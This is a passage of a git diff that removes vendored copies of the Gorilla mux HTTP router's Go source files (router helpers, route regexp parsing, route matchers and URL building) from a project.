new route with a matcher for the URL path. -// See Route.Path() and Route.Handler(). -func (r *Router) Handle(path string, handler http.Handler) *Route { - return r.NewRoute().Path(path).Handler(handler) -} - -// HandleFunc registers a new route with a matcher for the URL path. -// See Route.Path() and Route.HandlerFunc(). -func (r *Router) HandleFunc(path string, f func(http.ResponseWriter, - *http.Request)) *Route { - return r.NewRoute().Path(path).HandlerFunc(f) -} - -// Headers registers a new route with a matcher for request header values. -// See Route.Headers(). -func (r *Router) Headers(pairs ...string) *Route { - return r.NewRoute().Headers(pairs...) -} - -// Host registers a new route with a matcher for the URL host. -// See Route.Host(). -func (r *Router) Host(tpl string) *Route { - return r.NewRoute().Host(tpl) -} - -// MatcherFunc registers a new route with a custom matcher function. -// See Route.MatcherFunc(). -func (r *Router) MatcherFunc(f MatcherFunc) *Route { - return r.NewRoute().MatcherFunc(f) -} - -// Methods registers a new route with a matcher for HTTP methods. -// See Route.Methods(). -func (r *Router) Methods(methods ...string) *Route { - return r.NewRoute().Methods(methods...) -} - -// Path registers a new route with a matcher for the URL path. -// See Route.Path(). -func (r *Router) Path(tpl string) *Route { - return r.NewRoute().Path(tpl) -} - -// PathPrefix registers a new route with a matcher for the URL path prefix. -// See Route.PathPrefix(). -func (r *Router) PathPrefix(tpl string) *Route { - return r.NewRoute().PathPrefix(tpl) -} - -// Queries registers a new route with a matcher for URL query values. -// See Route.Queries(). -func (r *Router) Queries(pairs ...string) *Route { - return r.NewRoute().Queries(pairs...) -} - -// Schemes registers a new route with a matcher for URL schemes. -// See Route.Schemes(). -func (r *Router) Schemes(schemes ...string) *Route { - return r.NewRoute().Schemes(schemes...) -} - -// BuildVarsFunc registers a new route with a custom function for modifying -// route variables before building a URL. -func (r *Router) BuildVarsFunc(f BuildVarsFunc) *Route { - return r.NewRoute().BuildVarsFunc(f) -} - -// Walk walks the router and all its sub-routers, calling walkFn for each route -// in the tree. The routes are walked in the order they were added. Sub-routers -// are explored depth-first. -func (r *Router) Walk(walkFn WalkFunc) error { - return r.walk(walkFn, []*Route{}) -} - -// SkipRouter is used as a return value from WalkFuncs to indicate that the -// router that walk is about to descend down to should be skipped. -var SkipRouter = errors.New("skip this router") - -// WalkFunc is the type of the function called for each route visited by Walk. -// At every invocation, it is given the current route, and the current router, -// and a list of ancestor routes that lead to the current route. -type WalkFunc func(route *Route, router *Router, ancestors []*Route) error - -func (r *Router) walk(walkFn WalkFunc, ancestors []*Route) error { - for _, t := range r.routes { - err := walkFn(t, r, ancestors) - if err == SkipRouter { - continue - } - if err != nil { - return err - } - for _, sr := range t.matchers { - if h, ok := sr.(*Router); ok { - ancestors = append(ancestors, t) - err := h.walk(walkFn, ancestors) - if err != nil { - return err - } - ancestors = ancestors[:len(ancestors)-1] - } - } - if h, ok := t.handler.(*Router); ok { - ancestors = append(ancestors, t) - err := h.walk(walkFn, ancestors) - if err != nil { - return err - } - ancestors = ancestors[:len(ancestors)-1] - } - } - return nil -} - -// ---------------------------------------------------------------------------- -// Context -// ---------------------------------------------------------------------------- - -// RouteMatch stores information about a matched route. -type RouteMatch struct { - Route *Route - Handler http.Handler - Vars map[string]string - - // MatchErr is set to appropriate matching error - // It is set to ErrMethodMismatch if there is a mismatch in - // the request method and route method - MatchErr error -} - -type contextKey int - -const ( - varsKey contextKey = iota - routeKey -) - -// Vars returns the route variables for the current request, if any. -func Vars(r *http.Request) map[string]string { - if rv := contextGet(r, varsKey); rv != nil { - return rv.(map[string]string) - } - return nil -} - -// CurrentRoute returns the matched route for the current request, if any. -// This only works when called inside the handler of the matched route -// because the matched route is stored in the request context which is cleared -// after the handler returns, unless the KeepContext option is set on the -// Router. -func CurrentRoute(r *http.Request) *Route { - if rv := contextGet(r, routeKey); rv != nil { - return rv.(*Route) - } - return nil -} - -func setVars(r *http.Request, val interface{}) *http.Request { - return contextSet(r, varsKey, val) -} - -func setCurrentRoute(r *http.Request, val interface{}) *http.Request { - return contextSet(r, routeKey, val) -} - -// ---------------------------------------------------------------------------- -// Helpers -// ---------------------------------------------------------------------------- - -// cleanPath returns the canonical path for p, eliminating . and .. elements. -// Borrowed from the net/http package. -func cleanPath(p string) string { - if p == "" { - return "/" - } - if p[0] != '/' { - p = "/" + p - } - np := path.Clean(p) - // path.Clean removes trailing slash except for root; - // put the trailing slash back if necessary. - if p[len(p)-1] == '/' && np != "/" { - np += "/" - } - - return np -} - -// uniqueVars returns an error if two slices contain duplicated strings. -func uniqueVars(s1, s2 []string) error { - for _, v1 := range s1 { - for _, v2 := range s2 { - if v1 == v2 { - return fmt.Errorf("mux: duplicated route variable %q", v2) - } - } - } - return nil -} - -// checkPairs returns the count of strings passed in, and an error if -// the count is not an even number. -func checkPairs(pairs ...string) (int, error) { - length := len(pairs) - if length%2 != 0 { - return length, fmt.Errorf( - "mux: number of parameters must be multiple of 2, got %v", pairs) - } - return length, nil -} - -// mapFromPairsToString converts variadic string parameters to a -// string to string map. -func mapFromPairsToString(pairs ...string) (map[string]string, error) { - length, err := checkPairs(pairs...) - if err != nil { - return nil, err - } - m := make(map[string]string, length/2) - for i := 0; i < length; i += 2 { - m[pairs[i]] = pairs[i+1] - } - return m, nil -} - -// mapFromPairsToRegex converts variadic string parameters to a -// string to regex map. -func mapFromPairsToRegex(pairs ...string) (map[string]*regexp.Regexp, error) { - length, err := checkPairs(pairs...) - if err != nil { - return nil, err - } - m := make(map[string]*regexp.Regexp, length/2) - for i := 0; i < length; i += 2 { - regex, err := regexp.Compile(pairs[i+1]) - if err != nil { - return nil, err - } - m[pairs[i]] = regex - } - return m, nil -} - -// matchInArray returns true if the given string value is in the array. -func matchInArray(arr []string, value string) bool { - for _, v := range arr { - if v == value { - return true - } - } - return false -} - -// matchMapWithString returns true if the given key/value pairs exist in a given map. -func matchMapWithString(toCheck map[string]string, toMatch map[string][]string, canonicalKey bool) bool { - for k, v := range toCheck { - // Check if key exists. - if canonicalKey { - k = http.CanonicalHeaderKey(k) - } - if values := toMatch[k]; values == nil { - return false - } else if v != "" { - // If value was defined as an empty string we only check that the - // key exists. Otherwise we also check for equality. - valueExists := false - for _, value := range values { - if v == value { - valueExists = true - break - } - } - if !valueExists { - return false - } - } - } - return true -} - -// matchMapWithRegex returns true if the given key/value pairs exist in a given map compiled against -// the given regex -func matchMapWithRegex(toCheck map[string]*regexp.Regexp, toMatch map[string][]string, canonicalKey bool) bool { - for k, v := range toCheck { - // Check if key exists. - if canonicalKey { - k = http.CanonicalHeaderKey(k) - } - if values := toMatch[k]; values == nil { - return false - } else if v != nil { - // If value was defined as an empty string we only check that the - // key exists. Otherwise we also check for equality. - valueExists := false - for _, value := range values { - if v.MatchString(value) { - valueExists = true - break - } - } - if !valueExists { - return false - } - } - } - return true -} - -// methodNotAllowed replies to the request with an HTTP status code 405. -func methodNotAllowed(w http.ResponseWriter, r *http.Request) { - w.WriteHeader(http.StatusMethodNotAllowed) -} - -// methodNotAllowedHandler returns a simple request handler -// that replies to each request with a status code 405. -func methodNotAllowedHandler() http.Handler { return http.HandlerFunc(methodNotAllowed) } diff --git a/vendor/github.com/gorilla/mux/regexp.go b/vendor/github.com/gorilla/mux/regexp.go deleted file mode 100644 index 2b57e5627d..0000000000 --- a/vendor/github.com/gorilla/mux/regexp.go +++ /dev/null @@ -1,332 +0,0 @@ -// Copyright 2012 The Gorilla Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package mux - -import ( - "bytes" - "fmt" - "net/http" - "net/url" - "regexp" - "strconv" - "strings" -) - -type routeRegexpOptions struct { - strictSlash bool - useEncodedPath bool -} - -type regexpType int - -const ( - regexpTypePath regexpType = 0 - regexpTypeHost regexpType = 1 - regexpTypePrefix regexpType = 2 - regexpTypeQuery regexpType = 3 -) - -// newRouteRegexp parses a route template and returns a routeRegexp, -// used to match a host, a path or a query string. -// -// It will extract named variables, assemble a regexp to be matched, create -// a "reverse" template to build URLs and compile regexps to validate variable -// values used in URL building. -// -// Previously we accepted only Python-like identifiers for variable -// names ([a-zA-Z_][a-zA-Z0-9_]*), but currently the only restriction is that -// name and pattern can't be empty, and names can't contain a colon. -func newRouteRegexp(tpl string, typ regexpType, options routeRegexpOptions) (*routeRegexp, error) { - // Check if it is well-formed. - idxs, errBraces := braceIndices(tpl) - if errBraces != nil { - return nil, errBraces - } - // Backup the original. - template := tpl - // Now let's parse it. - defaultPattern := "[^/]+" - if typ == regexpTypeQuery { - defaultPattern = ".*" - } else if typ == regexpTypeHost { - defaultPattern = "[^.]+" - } - // Only match strict slash if not matching - if typ != regexpTypePath { - options.strictSlash = false - } - // Set a flag for strictSlash. - endSlash := false - if options.strictSlash && strings.HasSuffix(tpl, "/") { - tpl = tpl[:len(tpl)-1] - endSlash = true - } - varsN := make([]string, len(idxs)/2) - varsR := make([]*regexp.Regexp, len(idxs)/2) - pattern := bytes.NewBufferString("") - pattern.WriteByte('^') - reverse := bytes.NewBufferString("") - var end int - var err error - for i := 0; i < len(idxs); i += 2 { - // Set all values we are interested in. - raw := tpl[end:idxs[i]] - end = idxs[i+1] - parts := strings.SplitN(tpl[idxs[i]+1:end-1], ":", 2) - name := parts[0] - patt := defaultPattern - if len(parts) == 2 { - patt = parts[1] - } - // Name or pattern can't be empty. - if name == "" || patt == "" { - return nil, fmt.Errorf("mux: missing name or pattern in %q", - tpl[idxs[i]:end]) - } - // Build the regexp pattern. - fmt.Fprintf(pattern, "%s(?P<%s>%s)", regexp.QuoteMeta(raw), varGroupName(i/2), patt) - - // Build the reverse template. - fmt.Fprintf(reverse, "%s%%s", raw) - - // Append variable name and compiled pattern. - varsN[i/2] = name - varsR[i/2], err = regexp.Compile(fmt.Sprintf("^%s$", patt)) - if err != nil { - return nil, err - } - } - // Add the remaining. - raw := tpl[end:] - pattern.WriteString(regexp.QuoteMeta(raw)) - if options.strictSlash { - pattern.WriteString("[/]?") - } - if typ == regexpTypeQuery { - // Add the default pattern if the query value is empty - if queryVal := strings.SplitN(template, "=", 2)[1]; queryVal == "" { - pattern.WriteString(defaultPattern) - } - } - if typ != regexpTypePrefix { - pattern.WriteByte('$') - } - reverse.WriteString(raw) - if endSlash { - reverse.WriteByte('/') - } - // Compile full regexp. - reg, errCompile := regexp.Compile(pattern.String()) - if errCompile != nil { - return nil, errCompile - } - - // Check for capturing groups which used to work in older versions - if reg.NumSubexp() != len(idxs)/2 { - panic(fmt.Sprintf("route %s contains capture groups in its regexp. ", template) + - "Only non-capturing groups are accepted: e.g. (?:pattern) instead of (pattern)") - } - - // Done! - return &routeRegexp{ - template: template, - regexpType: typ, - options: options, - regexp: reg, - reverse: reverse.String(), - varsN: varsN, - varsR: varsR, - }, nil -} - -// routeRegexp stores a regexp to match a host or path and information to -// collect and validate route variables. -type routeRegexp struct { - // The unmodified template. - template string - // The type of match - regexpType regexpType - // Options for matching - options routeRegexpOptions - // Expanded regexp. - regexp *regexp.Regexp - // Reverse template. - reverse string - // Variable names. - varsN []string - // Variable regexps (validators). - varsR []*regexp.Regexp -} - -// Match matches the regexp against the URL host or path. -func (r *routeRegexp) Match(req *http.Request, match *RouteMatch) bool { - if r.regexpType != regexpTypeHost { - if r.regexpType == regexpTypeQuery { - return r.matchQueryString(req) - } - path := req.URL.Path - if r.options.useEncodedPath { - path = req.URL.EscapedPath() - } - return r.regexp.MatchString(path) - } - - return r.regexp.MatchString(getHost(req)) -} - -// url builds a URL part using the given values. -func (r *routeRegexp) url(values map[string]string) (string, error) { - urlValues := make([]interface{}, len(r.varsN)) - for k, v := range r.varsN { - value, ok := values[v] - if !ok { - return "", fmt.Errorf("mux: missing route variable %q", v) - } - if r.regexpType == regexpTypeQuery { - value = url.QueryEscape(value) - } - urlValues[k] = value - } - rv := fmt.Sprintf(r.reverse, urlValues...) - if !r.regexp.MatchString(rv) { - // The URL is checked against the full regexp, instead of checking - // individual variables. This is faster but to provide a good error - // message, we check individual regexps if the URL doesn't match. - for k, v := range r.varsN { - if !r.varsR[k].MatchString(values[v]) { - return "", fmt.Errorf( - "mux: variable %q doesn't match, expected %q", values[v], - r.varsR[k].String()) - } - } - } - return rv, nil -} - -// getURLQuery returns a single query parameter from a request URL. -// For a URL with foo=bar&baz=ding, we return only the relevant key -// value pair for the routeRegexp. -func (r *routeRegexp) getURLQuery(req *http.Request) string { - if r.regexpType != regexpTypeQuery { - return "" - } - templateKey := strings.SplitN(r.template, "=", 2)[0] - for key, vals := range req.URL.Query() { - if key == templateKey && len(vals) > 0 { - return key + "=" + vals[0] - } - } - return "" -} - -func (r *routeRegexp) matchQueryString(req *http.Request) bool { - return r.regexp.MatchString(r.getURLQuery(req)) -} - -// braceIndices returns the first level curly brace indices from a string. -// It returns an error in case of unbalanced braces. -func braceIndices(s string) ([]int, error) { - var level, idx int - var idxs []int - for i := 0; i < len(s); i++ { - switch s[i] { - case '{': - if level++; level == 1 { - idx = i - } - case '}': - if level--; level == 0 { - idxs = append(idxs, idx, i+1) - } else if level < 0 { - return nil, fmt.Errorf("mux: unbalanced braces in %q", s) - } - } - } - if level != 0 { - return nil, fmt.Errorf("mux: unbalanced braces in %q", s) - } - return idxs, nil -} - -// varGroupName builds a capturing group name for the indexed variable. -func varGroupName(idx int) string { - return "v" + strconv.Itoa(idx) -} - -// ---------------------------------------------------------------------------- -// routeRegexpGroup -// ---------------------------------------------------------------------------- - -// routeRegexpGroup groups the route matchers that carry variables. -type routeRegexpGroup struct { - host *routeRegexp - path *routeRegexp - queries []*routeRegexp -} - -// setMatch extracts the variables from the URL once a route matches. -func (v *routeRegexpGroup) setMatch(req *http.Request, m *RouteMatch, r *Route) { - // Store host variables. - if v.host != nil { - host := getHost(req) - matches := v.host.regexp.FindStringSubmatchIndex(host) - if len(matches) > 0 { - extractVars(host, matches, v.host.varsN, m.Vars) - } - } - path := req.URL.Path - if r.useEncodedPath { - path = req.URL.EscapedPath() - } - // Store path variables. - if v.path != nil { - matches := v.path.regexp.FindStringSubmatchIndex(path) - if len(matches) > 0 { - extractVars(path, matches, v.path.varsN, m.Vars) - // Check if we should redirect. - if v.path.options.strictSlash { - p1 := strings.HasSuffix(path, "/") - p2 := strings.HasSuffix(v.path.template, "/") - if p1 != p2 { - u, _ := url.Parse(req.URL.String()) - if p1 { - u.Path = u.Path[:len(u.Path)-1] - } else { - u.Path += "/" - } - m.Handler = http.RedirectHandler(u.String(), 301) - } - } - } - } - // Store query string variables. - for _, q := range v.queries { - queryURL := q.getURLQuery(req) - matches := q.regexp.FindStringSubmatchIndex(queryURL) - if len(matches) > 0 { - extractVars(queryURL, matches, q.varsN, m.Vars) - } - } -} - -// getHost tries its best to return the request host. -func getHost(r *http.Request) string { - if r.URL.IsAbs() { - return r.URL.Host - } - host := r.Host - // Slice off any port information. - if i := strings.Index(host, ":"); i != -1 { - host = host[:i] - } - return host - -} - -func extractVars(input string, matches []int, names []string, output map[string]string) { - for i, name := range names { - output[name] = input[matches[2*i+2]:matches[2*i+3]] - } -} diff --git a/vendor/github.com/gorilla/mux/route.go b/vendor/github.com/gorilla/mux/route.go deleted file mode 100644 index a591d73545..0000000000 --- a/vendor/github.com/gorilla/mux/route.go +++ /dev/null @@ -1,763 +0,0 @@ -// Copyright 2012 The Gorilla Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package mux - -import ( - "errors" - "fmt" - "net/http" - "net/url" - "regexp" - "strings" -) - -// Route stores information to match a request and build URLs. -type Route struct { - // Parent where the route was registered (a Router). - parent parentRoute - // Request handler for the route. - handler http.Handler - // List of matchers. - matchers []matcher - // Manager for the variables from host and path. - regexp *routeRegexpGroup - // If true, when the path pattern is "/path/", accessing "/path" will - // redirect to the former and vice versa. - strictSlash bool - // If true, when the path pattern is "/path//to", accessing "/path//to" - // will not redirect - skipClean bool - // If true, "/path/foo%2Fbar/to" will match the path "/path/{var}/to" - useEncodedPath bool - // The scheme used when building URLs. - buildScheme string - // If true, this route never matches: it is only used to build URLs. - buildOnly bool - // The name used to build URLs. - name string - // Error resulted from building a route. - err error - - buildVarsFunc BuildVarsFunc -} - -// SkipClean reports whether path cleaning is enabled for this route via -// Router.SkipClean. -func (r *Route) SkipClean() bool { - return r.skipClean -} - -// Match matches the route against the request. -func (r *Route) Match(req *http.Request, match *RouteMatch) bool { - if r.buildOnly || r.err != nil { - return false - } - - var matchErr error - - // Match everything. - for _, m := range r.matchers { - if matched := m.Match(req, match); !matched { - if _, ok := m.(methodMatcher); ok { - matchErr = ErrMethodMismatch - continue - } - matchErr = nil - return false - } - } - - if matchErr != nil { - match.MatchErr = matchErr - return false - } - - if match.MatchErr == ErrMethodMismatch { - // We found a route which matches request method, clear MatchErr - match.MatchErr = nil - // Then override the mis-matched handler - match.Handler = r.handler - } - - // Yay, we have a match. Let's collect some info about it. - if match.Route == nil { - match.Route = r - } - if match.Handler == nil { - match.Handler = r.handler - } - if match.Vars == nil { - match.Vars = make(map[string]string) - } - - // Set variables. - if r.regexp != nil { - r.regexp.setMatch(req, match, r) - } - return true -} - -// ---------------------------------------------------------------------------- -// Route attributes -// ---------------------------------------------------------------------------- - -// GetError returns an error resulted from building the route, if any. -func (r *Route) GetError() error { - return r.err -} - -// BuildOnly sets the route to never match: it is only used to build URLs. -func (r *Route) BuildOnly() *Route { - r.buildOnly = true - return r -} - -// Handler -------------------------------------------------------------------- - -// Handler sets a handler for the route. -func (r *Route) Handler(handler http.Handler) *Route { - if r.err == nil { - r.handler = handler - } - return r -} - -// HandlerFunc sets a handler function for the route. -func (r *Route) HandlerFunc(f func(http.ResponseWriter, *http.Request)) *Route { - return r.Handler(http.HandlerFunc(f)) -} - -// GetHandler returns the handler for the route, if any. -func (r *Route) GetHandler() http.Handler { - return r.handler -} - -// Name ----------------------------------------------------------------------- - -// Name sets the name for the route, used to build URLs. -// If the name was registered already it will be overwritten. -func (r *Route) Name(name string) *Route { - if r.name != "" { - r.err = fmt.Errorf("mux: route already has name %q, can't set %q", - r.name, name) - } - if r.err == nil { - r.name = name - r.getNamedRoutes()[name] = r - } - return r -} - -// GetName returns the name for the route, if any. -func (r *Route) GetName() string { - return r.name -} - -// ---------------------------------------------------------------------------- -// Matchers -// ---------------------------------------------------------------------------- - -// matcher types try to match a request. -type matcher interface { - Match(*http.Request, *RouteMatch) bool -} - -// addMatcher adds a matcher to the route. -func (r *Route) addMatcher(m matcher) *Route { - if r.err == nil { - r.matchers = append(r.matchers, m) - } - return r -} - -// addRegexpMatcher adds a host or path matcher and builder to a route. -func (r *Route) addRegexpMatcher(tpl string, typ regexpType) error { - if r.err != nil { - return r.err - } - r.regexp = r.getRegexpGroup() - if typ == regexpTypePath || typ == regexpTypePrefix { - if len(tpl) > 0 && tpl[0] != '/' { - return fmt.Errorf("mux: path must start with a slash, got %q", tpl) - } - if r.regexp.path != nil { - tpl = strings.TrimRight(r.regexp.path.template, "/") + tpl - } - } - rr, err := newRouteRegexp(tpl, typ, routeRegexpOptions{ - strictSlash: r.strictSlash, - useEncodedPath: r.useEncodedPath, - }) - if err != nil { - return err - } - for _, q := range r.regexp.queries { - if err = uniqueVars(rr.varsN, q.varsN); err != nil { - return err - } - } - if typ == regexpTypeHost { - if r.regexp.path != nil { - if err = uniqueVars(rr.varsN, r.regexp.path.varsN); err != nil { - return err - } - } - r.regexp.host = rr - } else { - if r.regexp.host != nil { - if err = uniqueVars(rr.varsN, r.regexp.host.varsN); err != nil { - return err - } - } - if typ == regexpTypeQuery { - r.regexp.queries = append(r.regexp.queries, rr) - } else { - r.regexp.path = rr - } - } - r.addMatcher(rr) - return nil -} - -// Headers -------------------------------------------------------------------- - -// headerMatcher matches the request against header values. -type headerMatcher map[string]string - -func (m headerMatcher) Match(r *http.Request, match *RouteMatch) bool { - return matchMapWithString(m, r.Header, true) -} - -// Headers adds a matcher for request header values. -// It accepts a sequence of key/value pairs to be matched. For example: -// -// r := mux.NewRouter() -// r.Headers("Content-Type", "application/json", -// "X-Requested-With", "XMLHttpRequest") -// -// The above route will only match if both request header values match. -// If the value is an empty string, it will match any value if the key is set. -func (r *Route) Headers(pairs ...string) *Route { - if r.err == nil { - var headers map[string]string - headers, r.err = mapFromPairsToString(pairs...) - return r.addMatcher(headerMatcher(headers)) - } - return r -} - -// headerRegexMatcher matches the request against the route given a regex for the header -type headerRegexMatcher map[string]*regexp.Regexp - -func (m headerRegexMatcher) Match(r *http.Request, match *RouteMatch) bool { - return matchMapWithRegex(m, r.Header, true) -} - -// HeadersRegexp accepts a sequence of key/value pairs, where the value has regex -// support. For example: -// -// r := mux.NewRouter() -// r.HeadersRegexp("Content-Type", "application/(text|json)", -// "X-Requested-With", "XMLHttpRequest") -// -// The above route will only match if both the request header matches both regular expressions. -// If the value is an empty string, it will match any value if the key is set. -// Use the start and end of string anchors (^ and $) to match an exact value. -func (r *Route) HeadersRegexp(pairs ...string) *Route { - if r.err == nil { - var headers map[string]*regexp.Regexp - headers, r.err = mapFromPairsToRegex(pairs...) - return r.addMatcher(headerRegexMatcher(headers)) - } - return r -} - -// Host ----------------------------------------------------------------------- - -// Host adds a matcher for the URL host. -// It accepts a template with zero or more URL variables enclosed by {}. -// Variables can define an optional regexp pattern to be matched: -// -// - {name} matches anything until the next dot. -// -// - {name:pattern} matches the given regexp pattern. -// -// For example: -// -// r := mux.NewRouter() -// r.Host("www.example.com") -// r.Host("{subdomain}.domain.com") -// r.Host("{subdomain:[a-z]+}.domain.com") -// -// Variable names must be unique in a given route. They can be retrieved -// calling mux.Vars(request). -func (r *Route) Host(tpl string) *Route { - r.err = r.addRegexpMatcher(tpl, regexpTypeHost) - return r -} - -// MatcherFunc ---------------------------------------------------------------- - -// MatcherFunc is the function signature used by custom matchers. -type MatcherFunc func(*http.Request, *RouteMatch) bool - -// Match returns the match for a given request. -func (m MatcherFunc) Match(r *http.Request, match *RouteMatch) bool { - return m(r, match) -} - -// MatcherFunc adds a custom function to be used as request matcher. -func (r *Route) MatcherFunc(f MatcherFunc) *Route { - return r.addMatcher(f) -} - -// Methods -------------------------------------------------------------------- - -// methodMatcher matches the request against HTTP methods. -type methodMatcher []string - -func (m methodMatcher) Match(r *http.Request, match *RouteMatch) bool { - return matchInArray(m, r.Method) -} - -// Methods adds a matcher for HTTP methods. -// It accepts a sequence of one or more methods to be matched, e.g.: -// "GET", "POST", "PUT". -func (r *Route) Methods(methods ...string) *Route { - for k, v := range methods { - methods[k] = strings.ToUpper(v) - } - return r.addMatcher(methodMatcher(methods)) -} - -// Path ----------------------------------------------------------------------- - -// Path adds a matcher for the URL path. -// It accepts a template with zero or more URL variables enclosed by {}. The -// template must start with a "/". -// Variables can define an optional regexp pattern to be matched: -// -// - {name} matches anything until the next slash. -// -// - {name:pattern} matches the given regexp pattern. -// -// For example: -// -// r := mux.NewRouter() -// r.Path("/products/").Handler(ProductsHandler) -// r.Path("/products/{key}").Handler(ProductsHandler) -// r.Path("/articles/{category}/{id:[0-9]+}"). -// Handler(ArticleHandler) -// -// Variable names must be unique in a given route. They can be retrieved -// calling mux.Vars(request). -func (r *Route) Path(tpl string) *Route { - r.err = r.addRegexpMatcher(tpl, regexpTypePath) - return r -} - -// PathPrefix ----------------------------------------------------------------- - -// PathPrefix adds a matcher for the URL path prefix. This matches if the given -// template is a prefix of the full URL path. See Route.Path() for details on -// the tpl argument. -// -// Note that it does not treat slashes specially ("/foobar/" will be matched by -// the prefix "/foo") so you may want to use a trailing slash here. -// -// Also note that the setting of Router.StrictSlash() has no effect on routes -// with a PathPrefix matcher. -func (r *Route) PathPrefix(tpl string) *Route { - r.err = r.addRegexpMatcher(tpl, regexpTypePrefix) - return r -} - -// Query ---------------------------------------------------------------------- - -// Queries adds a matcher for URL query values. -// It accepts a sequence of key/value pairs. Values may define variables. -// For example: -// -// r := mux.NewRouter() -// r.Queries("foo", "bar", "id", "{id:[0-9]+}") -// -// The above route will only match if the URL contains the defined queries -// values, e.g.: ?foo=bar&id=42. -// -// It the value is an empty string, it will match any value if the key is set. -// -// Variables can define an optional regexp pattern to be matched: -// -// - {name} matches anything until the next slash. -// -// - {name:pattern} matches the given regexp pattern. -func (r *Route) Queries(pairs ...string) *Route { - length := len(pairs) - if length%2 != 0 { - r.err = fmt.Errorf( - "mux: number of parameters must be multiple of 2, got %v", pairs) - return nil - } - for i := 0; i < length; i += 2 { - if r.err = r.addRegexpMatcher(pairs[i]+"="+pairs[i+1], regexpTypeQuery); r.err != nil { - return r - } - } - - return r -} - -// Schemes -------------------------------------------------------------------- - -// schemeMatcher matches the request against URL schemes. -type schemeMatcher []string - -func (m schemeMatcher) Match(r *http.Request, match *RouteMatch) bool { - return matchInArray(m, r.URL.Scheme) -} - -// Schemes adds a matcher for URL schemes. -// It accepts a sequence of schemes to be matched, e.g.: "http", "https". -func (r *Route) Schemes(schemes ...string) *Route { - for k, v := range schemes { - schemes[k] = strings.ToLower(v) - } - if r.buildScheme == "" && len(schemes) > 0 { - r.buildScheme = schemes[0] - } - return r.addMatcher(schemeMatcher(schemes)) -} - -// BuildVarsFunc -------------------------------------------------------------- - -// BuildVarsFunc is the function signature used by custom build variable -// functions (which can modify route variables before a route's URL is built). -type BuildVarsFunc func(map[string]string) map[string]string - -// BuildVarsFunc adds a custom function to be used to modify build variables -// before a route's URL is built. -func (r *Route) BuildVarsFunc(f BuildVarsFunc) *Route { - r.buildVarsFunc = f - return r -} - -// Subrouter ------------------------------------------------------------------ - -// Subrouter creates a subrouter for the route. -// -// It will test the inner routes only if the parent route matched. For example: -// -// r := mux.NewRouter() -// s := r.Host("www.example.com").Subrouter() -// s.HandleFunc("/products/", ProductsHandler) -// s.HandleFunc("/products/{key}", ProductHandler) -// s.HandleFunc("/articles/{category}/{id:[0-9]+}"), ArticleHandler) -// -// Here, the routes registered in the subrouter won't be tested if the host -// doesn't match. -func (r *Route) Subrouter() *Router { - router := &Router{parent: r, strictSlash: r.strictSlash} - r.addMatcher(router) - return router -} - -// ---------------------------------------------------------------------------- -// URL building -// ---------------------------------------------------------------------------- - -// URL builds a URL for the route. -// -// It accepts a sequence of key/value pairs for the route variables. For -// example, given this route: -// -// r := mux.NewRouter() -// r.HandleFunc("/articles/{category}/{id:[0-9]+}", ArticleHandler). -// Name("article") -// -// ...a URL for it can be built using: -// -// url, err := r.Get("article").URL("category", "technology", "id", "42") -// -// ...which will return an url.URL with the following path: -// -// "/articles/technology/42" -// -// This also works for host variables: -// -// r := mux.NewRouter() -// r.Host("{subdomain}.domain.com"). -// HandleFunc("/articles/{category}/{id:[0-9]+}", ArticleHandler). -// Name("article") -// -// // url.String() will be "http://news.domain.com/articles/technology/42" -// url, err := r.Get("article").URL("subdomain", "news", -// "category", "technology", -// "id", "42") -// -// All variables defined in the route are required, and their values must -// conform to the corresponding patterns. -func (r *Route) URL(pairs ...string) (*url.URL, error) { - if r.err != nil { - return nil, r.err - } - if r.regexp == nil { - return nil, errors.New("mux: route doesn't have a host or path") - } - values, err := r.prepareVars(pairs...) - if err != nil { - return nil, err - } - var scheme, host, path string - queries := make([]string, 0, len(r.regexp.queries)) - if r.regexp.host != nil { - if host, err = r.regexp.host.url(values); err != nil { - return nil, err - } - scheme = "http" - if s := r.getBuildScheme(); s != "" { - scheme = s - } - } - if r.regexp.path != nil { - if path, err = r.regexp.path.url(values); err != nil { - return nil, err - } - } - for _, q := range r.regexp.queries { - var query string - if query, err = q.url(values); err != nil { - return nil, err - } - queries = append(queries, query) - } - return &url.URL{ - Scheme: scheme, - Host: host, - Path: path, - RawQuery: strings.Join(queries, "&"), - }, nil -} - -// URLHost builds the host part of the URL for a route. See Route.URL(). -// -// The route must have a host defined. -func (r *Route) URLHost(pairs ...string) (*url.URL, error) { - if r.err != nil { - return nil, r.err - } - if r.regexp == nil || r.regexp.host == nil { - return nil, errors.New("mux: route doesn't have a host") - } - values, err := r.prepareVars(pairs...) - if err != nil { - return nil, err - } - host, err := r.regexp.host.url(values) - if err != nil { - return nil, err - } - u := &url.URL{ - Scheme: "http", - Host: host, - } - if s := r.getBuildScheme(); s != "" { - u.Scheme = s - } - return u, nil -} - -// URLPath builds the path part of the URL for a route. See Route.URL(). -// -// The route must have a path defined. -func (r *Route) URLPath(pairs ...string) (*url.URL, error) { - if r.err != nil { - return nil, r.err - } - if r.regexp == nil || r.regexp.path == nil { - return nil, errors.New("mux: route doesn't have a path") - } - values, err := r.prepareVars(pairs...) - if err != nil { - return nil, err - } - path, err := r.regexp.path.url(values) - if err != nil { - return nil, err - } - return &url.URL{ - Path: path, - }, nil -} - -// GetPathTemplate returns the template used to build the -// route match. -// This is useful for building simple REST API documentation and for instrumentation -// against third-party services. -// An error will be returned if the route does not define a path. -func (r *Route) GetPathTemplate() (string, error) { - if r.err != nil { - return "", r.err - } - if r.regexp == nil || r.regexp.path == nil { - return "", errors.New("mux: route doesn't have a path") - } - return r.regexp.path.template, nil -} - -// GetPathRegexp returns the expanded regular expression used to match route path. -// This is useful for building simple REST API documentation and for instrumentation -// against third-party services. -// An error will be returned if the route does not define a path. -func (r *Route) GetPathRegexp() (string, error) { - if r.err != nil { - return "", r.err - } - if r.regexp == nil || r.regexp.path == nil { - return "", errors.New("mux: route does not have a path") - } - return r.regexp.path.regexp.String(), nil -} - -// GetQueriesRegexp returns the expanded regular expressions used to match the -// route queries. -// This is useful for building simple REST API documentation and for instrumentation -// against third-party services. -// An error will be returned if the route does not have queries. -func (r *Route) GetQueriesRegexp() ([]string, error) { - if r.err != nil { - return nil, r.err - } - if r.regexp == nil || r.regexp.queries == nil { - return nil, errors.New("mux: route doesn't have queries") - } - var queries []string - for _, query := range r.regexp.queries { - queries = append(queries, query.regexp.String()) - } - return queries, nil -} - -// GetQueriesTemplates returns the templates used to build the -// query matching. -// This is useful for building simple REST API documentation and for instrumentation -// 